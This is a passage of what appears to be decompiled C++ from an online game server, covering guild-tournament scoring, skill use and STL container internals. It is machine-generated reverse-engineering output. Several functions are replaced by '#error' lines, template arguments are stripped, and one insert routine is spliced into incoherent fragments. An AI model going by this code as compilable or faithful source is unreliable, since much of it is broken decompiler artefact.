(GuildTournamentSystem::Gate *)v23; v40 = 0; std::fill( *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)(v23 - v22), (GuildTournamentSystem::Gate *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[688].esc_abstate.buffer[-((unsigned int)v7 >> 1) + 11071] >= v7 ) v9 = ((unsigned int)v7 >> 1) + v7; else v9 = 0; if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v9 < _Count + v10 ) { if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; v9 = _Count + v11; } v28 = v9 << 6; v12 = operator new(v9 << 6); v13 = v4->_Myfirst; _Newvec = v12; _Ptr = (char *)v12; LOBYTE(v40) = 1; _Ptr = (char *)std::_Uninit_copy>( v13, *(GuildTournamentSystem::Gate **)&_Where, (GuildTournamentSystem::Gate *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)v12); std::_Uninit_fill_n>( (GuildTournamentSystem::Gate *)_Ptr, _Count, (GuildTournamentSystem::Gate *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v14 = v4->_Mylast; _Ptr += 64 * _Count; std::_Uninit_copy>( *(GuildTournamentSystem::Gate **)&_Where, v14, (GuildTournamentSystem::Gate *)_Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v15 = v4->_Myfirst; if ( v15 ) v16 = v4->_Mylast - v15; else v16 = 0; v17 = v16 + _Count; if ( v15 ) { std::vector>::_Destroy( v4, v15, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::Gate *)((char *)v12 + v28); v4->_Mylast = (GuildTournamentSystem::Gate *)((char *)v12 + 64 * v17); v4->_Myfirst = (GuildTournamentSystem::Gate *)v12; } } if ( v37 >= 0x10 ) operator delete(p); v37 = 15; v36 = 0; LOBYTE(p) = 0; if ( v34 >= 0x10 ) operator delete(v33); } //----- (0046C710) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v4; // esi@1 int v5; // edx@1 int v6; // eax@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v7; // ebx@1 unsigned int v8; // ecx@2 signed int v9; // edx@3 int v10; // eax@6 int v11; // eax@11 int v12; // ecx@15 int v13; // eax@18 void *v14; // ebx@22 GuildTournamentSystem::AdvanMobItemRegenInfo *v15; // eax@22 GuildTournamentSystem::AdvanMobItemRegenInfo *v16; // ST20_4@22 int v17; // eax@22 unsigned int v18; // edi@24 GuildTournamentSystem::AdvanMobItemRegenInfo *v19; // eax@24 GuildTournamentSystem::AdvanMobItemRegenInfo *v20; // ecx@27 int v21; // eax@27 GuildTournamentSystem::AdvanMobItemRegenInfo *v22; // ecx@28 GuildTournamentSystem::AdvanMobItemRegenInfo *v23; // ST24_4@28 void *v24; // eax@28 char *v25; // edi@28 GuildTournamentSystem::AdvanMobItemRegenInfo *v26; // eax@29 void *v27; // ecx@29 GuildTournamentSystem::AdvanMobItemRegenInfo *v28; // edx@29 int v29; // [sp+0h] [bp-5Ch]@1 unsigned int cookie; // [sp+Ch] [bp-50h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Last; // [sp+10h] [bp-4Ch]@22 GuildTournamentSystem::AdvanMobItemRegenInfo *_Ptr; // [sp+14h] [bp-48h]@22 void *_Newvec; // [sp+18h] [bp-44h]@22 int _Tmp; // [sp+1Ch] [bp-40h]@1 int v35; // [sp+20h] [bp-3Ch]@1 int v36; // [sp+24h] [bp-38h]@1 std::basic_string,std::allocator > thisa; // [sp+28h] [bp-34h]@1 unsigned int v38; // [sp+44h] [bp-18h]@1 unsigned int v39; // [sp+48h] [bp-14h]@1 int *v40; // [sp+4Ch] [bp-10h]@1 int v41; // [sp+58h] [bp-4h]@1 int v42; // [sp+5Ch] [bp+0h]@1 v39 = (unsigned int)&v42 ^ __security_cookie; v4 = this; v40 = &v29; v5 = *(_DWORD *)&_Val->mapName.n3_name[4]; v6 = *(_DWORD *)&_Val->mapName.n3_name[8]; _Tmp = *(_DWORD *)&_Val->mapName.n3_name[0]; cookie = (unsigned int)this; v35 = v5; v36 = v6; thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, &_Val->strGroupName, 0, 0xFFFFFFFFu); v38 = _Val->AdvanIndex; v7 = v4->_Myfirst; v41 = 0; if ( v7 ) { v9 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( _Count ) { if ( v7 ) v10 = v4->_Mylast - v7; else v10 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1050].esc_skill.buffer[-v10 + 21857] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v11 = v4->_Mylast - v7; else v11 = 0; if ( v8 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 44; _Newvec = v4->_Mylast; if ( v21 >= _Count ) { _Last = &v20[-_Count]; v26 = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v27 = _Newvec; v28 = _Last; v4->_Mylast = v26; std::_Copy_backward_opt( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, v28, (GuildTournamentSystem::AdvanMobItemRegenInfo *)v27, (std::_Nonscalar_ptr_iterator_tag)_Newvec); std::fill( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(*(_DWORD *)&_Where + 44 * _Count), (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp); } else { _Newvec = (void *)(44 * _Count); std::_Uninit_copy>( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, v20, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(*(_DWORD *)&_Where + 44 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(44 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v41) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 44, (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp); v24 = _Newvec; v25 = (char *)_Newvec + (unsigned int)v4->_Mylast; v4->_Mylast = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v25; v41 = 0; std::fill( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, (GuildTournamentSystem::AdvanMobItemRegenInfo *)(v25 - v24), (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1050].esc_skill.buffer[-(v8 >> 1) + 21857] >= v8 ) v12 = (v8 >> 1) + v8; else v12 = 0; if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size(v4); _Last = (GuildTournamentSystem::AdvanMobItemRegenInfo *)(44 * v12); v14 = operator new(44 * v12); v15 = v4->_Myfirst; _Newvec = v14; _Ptr = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v14; LOBYTE(v41) = 1; _Ptr = std::_Uninit_copy>( v15, *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, (GuildTournamentSystem::AdvanMobItemRegenInfo *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)v14); std::_Uninit_fill_n>( _Ptr, _Count, (GuildTournamentSystem::AdvanMobItemRegenInfo *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v16 = v4->_Mylast; _Ptr += _Count; std::_Uninit_copy>( *(GuildTournamentSystem::AdvanMobItemRegenInfo **)&_Where, v16, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 44; v18 = v17 + _Count; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::AdvanMobItemRegenInfo *)((char *)_Last + (_DWORD)v14); v4->_Mylast = (GuildTournamentSystem::AdvanMobItemRegenInfo *)((char *)v14 + 44 * v18); v4->_Myfirst = (GuildTournamentSystem::AdvanMobItemRegenInfo *)v14; } } if ( thisa._Myres >= 0x10 ) operator delete(*(void **)&thisa._Bx._Buf[0]); } //----- (0046CA50) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last) { GuildTournamentSystem::FlagInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) GuildTournamentSystem::FlagInfo::_FlagInfo(i); } //----- (0046CA80) -------------------------------------------------------- void __thiscall std::map_std::allocator>>::_map_std::allocator>>(std::map,std::allocator > > *this) { std::map,std::allocator > > *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (0046CAB0) -------------------------------------------------------- void __cdecl GuildTournamentSystem::SetGuildMemberGrade(unsigned int regCharNumber, int nGrade) { int *v2; // eax@1 v2 = std::map_std::allocator>>::operator__( &GuildTournamentSystem::sm_mapGuildMemberGrades, ®CharNumber); *v2 = nGrade; } //----- (0046CAD0) -------------------------------------------------------- #error "46CAD0: undefined or illegal type '#593' (funcsize=100)" //----- (0046CC20) -------------------------------------------------------- #error "46CC20: undefined or illegal type '#593' (funcsize=199)" //----- (0046CE80) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::AddScore(GuildTournamentSystem::GuildGroup *this, int nScore) { GuildTournamentSystem::GuildGroup *v2; // esi@1 unsigned int v3; // edx@1 int v4; // eax@1 signed int v5; // ecx@1 v2 = this; v3 = nScore + this->m_unAllGuildScore; this->m_unGuildScore += nScore; this->m_unAllGuildScore = v3; v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52); v5 = 2000; if ( v4 && *(_DWORD *)(v4 + 40) ) v5 = *(_WORD *)CDataReader::GetRecord((CDataReader *)(ITableBase::ms_pkTable + 4), 0); if ( v2->m_unAllGuildScore >= v5 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript(v2); } // D1D90C8: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; // D1D90D0: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0046CEE0) -------------------------------------------------------- #error "46CEE0: undefined or illegal type '#593' (funcsize=55)" //----- (0046CF80) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::GuildGroup::UseGuildSkill(GuildTournamentSystem::GuildGroup *this, int nNumber, GuildTournamentSystem::GuildGroup *pEnemyGroup) { GuildTournamentSystem::GuildGroup *v3; // esi@1 TickTimer *v4; // eax@2 GUILD_TOURNAMENT_SKILL *v5; // edi@5 int v6; // ST04_4@6 DebugLogging *v7; // eax@6 DebugLogging *v8; // eax@6 DebugLogging *v9; // eax@6 TickTimer *v10; // eax@7 unsigned int v12; // ecx@11 unsigned int v13; // eax@11 fastdelegate::FastDelegate1 *v14; // esi@12 GuildTournamentSystem::GuildGroup *v15; // ecx@15 TickTimer *v16; // eax@18 DebugLogging *v17; // edi@19 _iobuf *v18; // eax@21 DebugLogging *v19; // edi@23 _iobuf *v20; // eax@25 DebugLogging *v21; // edi@27 _iobuf *v22; // edi@29 v3 = this; if ( nNumber < 0 ) goto LABEL_37; v4 = this->m_vecGuildBuffUseTime._Myfirst; if ( v4 ) v4 = (TickTimer *)(this->m_vecGuildBuffUseTime._Mylast - v4); if ( (signed int)v4 <= nNumber ) { LABEL_37: v17 = DebugLogging::operator<<( &GuildTournamentLog, "GuildTourmentSystem::UseGuildSkill [ID is out of range]\tType:"); if ( DebugLogging::dl_ActivAll ) { if ( v17->dl_Activ ) { DebugLogging::dl_FilePoint(v17); v18 = v17->dl_FilePointer; if ( v18 ) fprintf(v18, "%d"); } } v19 = DebugLogging::operator<<(v17, "\tID:"); if ( DebugLogging::dl_ActivAll ) { if ( v19->dl_Activ ) { DebugLogging::dl_FilePoint(v19); v20 = v19->dl_FilePointer; if ( v20 ) fprintf(v20, "%d"); } } v21 = DebugLogging::operator<<(v19, "\tVector Size:"); if ( DebugLogging::dl_ActivAll ) { if ( v21->dl_Activ ) { DebugLogging::dl_FilePoint(v21); v22 = v21->dl_FilePointer; if ( v22 ) fprintf(v22, "%d"); } } goto LABEL_31; } v5 = GuildTournamentSkillTable::GetStateByIndex(this->m_nTournamentType, nNumber); if ( v5 ) { v10 = std::vector>::at(&v3->m_vecGuildBuffUseTime, nNumber); if ( CGambleObject::go_Get_MaxEnterPlayerCnt(v10) ) { if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) { ((void (__thiscall *)(_DWORD, _DWORD))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6992); return 0; } return 0; } v12 = v5->DeathPoint; v13 = v3->m_unKillerPoint; if ( v13 < v12 ) { v14 = &v3->m_ErrorMessage; if ( !fastdelegate::FastDelegate1::empty(v14) ) { ((void (__thiscall *)(_DWORD, _DWORD))v14->m_Closure.baseclass_0.m_pFunction)( v14->m_Closure.baseclass_0.m_pthis, 6987); return 0; } return 0; } GuildTournamentSystem::GuildGroup::SetSkillPoint(v3, v13 - v12); if ( v5->TargetType == 10 ) { v15 = v3; } else { v15 = pEnemyGroup; if ( !pEnemyGroup ) { LABEL_18: v16 = std::vector>::at(&v3->m_vecGuildBuffUseTime, nNumber); TickTimer::Enable(v16, 1); return 1; } } GuildTournamentSystem::GuildGroup::EverythingGiveBuff(v15, v5->StaName, 0); goto LABEL_18; } v6 = v3->m_nTournamentType; v7 = DebugLogging::operator<<( &GuildTournamentLog, "GuildTourmentSystem::UseGuildSkill Not Find GuildTournamentState Type :"); v8 = DebugLogging::operator<<(v7, v6); v9 = DebugLogging::operator<<(v8, " ID:"); DebugLogging::operator<<(v9, nNumber); LABEL_31: if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(_DWORD, _DWORD))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6989); return 0; } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0046D1C0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetTournamentType(GuildTournamentSystem::GuildGroup *this, int nType) { int v2; // ebx@1 GuildTournamentSystem::GuildGroup *v3; // esi@1 std::vector > *v4; // edi@1 int v5; // ebp@1 GUILD_TOURNAMENT_SKILL *v6; // eax@4 TickTimer *v7; // eax@5 DebugLogging *v8; // eax@6 DebugLogging *v9; // esi@6 _iobuf *v10; // esi@8 TickTimer thisa; // [sp+10h] [bp-Ch]@5 unsigned int nTypea; // [sp+20h] [bp+4h]@1 v2 = nType; v3 = this; this->m_nTournamentType = nType; v4 = &this->m_vecGuildBuffUseTime; nTypea = GuildTournamentSkillTable::GetUseSkillCount(nType, 0xFFFFFFFFu); v5 = 0; if ( v3->m_vecGuildBuffUseTime._Myfirst ) operator delete(v3->m_vecGuildBuffUseTime._Myfirst); v3->m_vecGuildBuffUseTime._Myfirst = 0; v3->m_vecGuildBuffUseTime._Mylast = 0; v3->m_vecGuildBuffUseTime._Myend = 0; if ( nTypea ) { do { v6 = GuildTournamentSkillTable::GetStateByIndex(v2, v5); if ( v6 ) { TickTimer::TickTimer( &thisa, ((signed int)((unsigned __int64)(10 * v6->DlyTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v6->DlyTime * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); std::vector>::push_back(v4, v7); } else { v8 = DebugLogging::operator<<(&GuildTournamentLog, "GuildTournamentSystem::GuildGroup::SetTournamentType"); v9 = DebugLogging::operator<<(v8, "Guild Skill Not Find Sequence Number :"); if ( DebugLogging::dl_ActivAll && v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } ++v5; } while ( v5 < nTypea ); } } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0046D2B0) -------------------------------------------------------- #error "46D2B0: undefined or illegal type '#593' (funcsize=228)" //----- (0046D560) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::AddTeamNPC(GuildTournamentSystem::GuildGroup *this, unsigned __int16 Hnd) { unsigned __int16 *v2; // edx@1 unsigned __int16 *v3; // eax@1 v2 = this->m_MyTeamNPCs._Mylast; v3 = this->m_MyTeamNPCs._Myfirst; if ( v3 == v2 ) goto LABEL_8; do { if ( *v3 == Hnd ) break; ++v3; } while ( v3 != v2 ); if ( v3 == v2 ) LABEL_8: std::vector>::push_back(&this->m_MyTeamNPCs, &Hnd); } //----- (0046D5B0) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert(...) { std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v7; // edi@3 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v8; // ebp@10 std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *v9; // ebp@15 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( this, result, 1, *((std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, &_Val->first, (std::basic_string,std::allocator > *)(_Where + 12)) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, (std::basic_string,std::allocator > *)(*(_DWORD *)(v6 + 8) + 12), &_Val->first) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, *(std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)this, &_Val->first, (std::basic_string,std::allocator > *)(_Where + 12)) && (_Val = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)_Where, std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, (std::basic_string,std::allocator > *)((char *)&_Val->first + 12), &v7->first)) ) { if ( *(_BYTE *)(*(_DWORD *)&v8->first._Bx._Buf[4] + 69) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, (std::basic_string,std::allocator > *)(_Where + 12), &v7->first) || (_Val = (std::pair,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)_Where, std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::const_iterator::_Inc((std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> **)v4 + 1)) && !std::less_std::allocator>>::operator__( (std::less,std::allocator > > *)v4, &v7->first, (std::basic_string,std::allocator > *)((char *)&_Val->first + 12)) ) { LABEL_20: v10 = std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert( v4, (std::pair,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorfirst; v5 = result; *result = v10; return v5; } if ( *(_BYTE *)(*(_DWORD *)(_Where + 8) + 69) ) { std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::Gate *v2; // esi@1 GuildTournamentSystem::Gate *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) GuildTournamentSystem::Gate::_Gate(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0046D7B0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(780903145i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0046D820) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 GuildTournamentSystem::FlagInfo *v2; // esi@1 GuildTournamentSystem::FlagInfo *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) GuildTournamentSystem::FlagInfo::_FlagInfo(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (0046D870) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__thiscall std::vector>::_Ufill(std::vector > *this, GuildTournamentSystem::FlagInfo *_Ptr, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0046D8A0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v4; // esi@1 GuildTournamentSystem::FlagInfo *v5; // ebx@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 int v8; // eax@5 int v9; // eax@10 int v10; // ecx@14 int v11; // eax@17 void *v12; // ebx@21 GuildTournamentSystem::FlagInfo *v13; // eax@21 GuildTournamentSystem::FlagInfo *v14; // ST20_4@21 int v15; // eax@21 unsigned int v16; // edi@23 GuildTournamentSystem::FlagInfo *v17; // eax@23 GuildTournamentSystem::FlagInfo *v18; // ecx@26 int v19; // eax@26 GuildTournamentSystem::FlagInfo *v20; // ecx@27 GuildTournamentSystem::FlagInfo *v21; // ST24_4@27 void *v22; // eax@27 char *v23; // edi@27 GuildTournamentSystem::FlagInfo *v24; // eax@28 void *v25; // ecx@28 GuildTournamentSystem::FlagInfo *v26; // edx@28 int v27; // [sp+0h] [bp-F0h]@1 std::vector > *cookie; // [sp+Ch] [bp-E4h]@1 GuildTournamentSystem::FlagInfo *_Last; // [sp+10h] [bp-E0h]@21 GuildTournamentSystem::FlagInfo *_Ptr; // [sp+14h] [bp-DCh]@21 void *_Newvec; // [sp+18h] [bp-D8h]@21 GuildTournamentSystem::FlagInfo _Tmp; // [sp+1Ch] [bp-D4h]@1 unsigned int v33; // [sp+DCh] [bp-14h]@1 int *v34; // [sp+E0h] [bp-10h]@1 int v35; // [sp+ECh] [bp-4h]@1 int v36; // [sp+F0h] [bp+0h]@1 v33 = (unsigned int)&v36 ^ __security_cookie; v4 = this; v34 = &v27; cookie = this; GuildTournamentSystem::FlagInfo::FlagInfo(&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v35 = 0; if ( v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[156].esc_abstate.buffer[-v8 + 32181] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v18 = v4->_Mylast; v19 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 192; _Newvec = v4->_Mylast; if ( v19 >= _Count ) { _Last = &v18[-_Count]; v24 = std::_Uninit_copy>( &v18[-_Count], v18, v18, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v25 = _Newvec; v26 = _Last; v4->_Mylast = v24; std::_Copy_backward_opt( *(GuildTournamentSystem::FlagInfo **)&_Where, v26, (GuildTournamentSystem::FlagInfo *)v25, (std::_Nonscalar_ptr_iterator_tag)_Newvec); std::fill( *(GuildTournamentSystem::FlagInfo **)&_Where, (GuildTournamentSystem::FlagInfo *)(*(_DWORD *)&_Where + 192 * _Count), &_Tmp); } else { _Newvec = (void *)(192 * _Count); std::_Uninit_copy>( *(GuildTournamentSystem::FlagInfo **)&_Where, v18, (GuildTournamentSystem::FlagInfo *)(*(_DWORD *)&_Where + 192 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(-64 * _Count)); v20 = v4->_Mylast; v21 = v4->_Mylast; LOBYTE(v35) = 3; std::vector>::_Ufill( v4, v21, _Count - (signed int)((char *)v20 - *(_DWORD *)&_Where) / 192, &_Tmp); v22 = _Newvec; v23 = (char *)_Newvec + (unsigned int)v4->_Mylast; v4->_Mylast = (GuildTournamentSystem::FlagInfo *)v23; v35 = 0; std::fill( *(GuildTournamentSystem::FlagInfo **)&_Where, (GuildTournamentSystem::FlagInfo *)(v23 - v22), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[156].esc_abstate.buffer[-(v6 >> 1) + 32181] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); _Last = (GuildTournamentSystem::FlagInfo *)(192 * v10); v12 = operator new(192 * v10); v13 = v4->_Myfirst; _Newvec = v12; _Ptr = 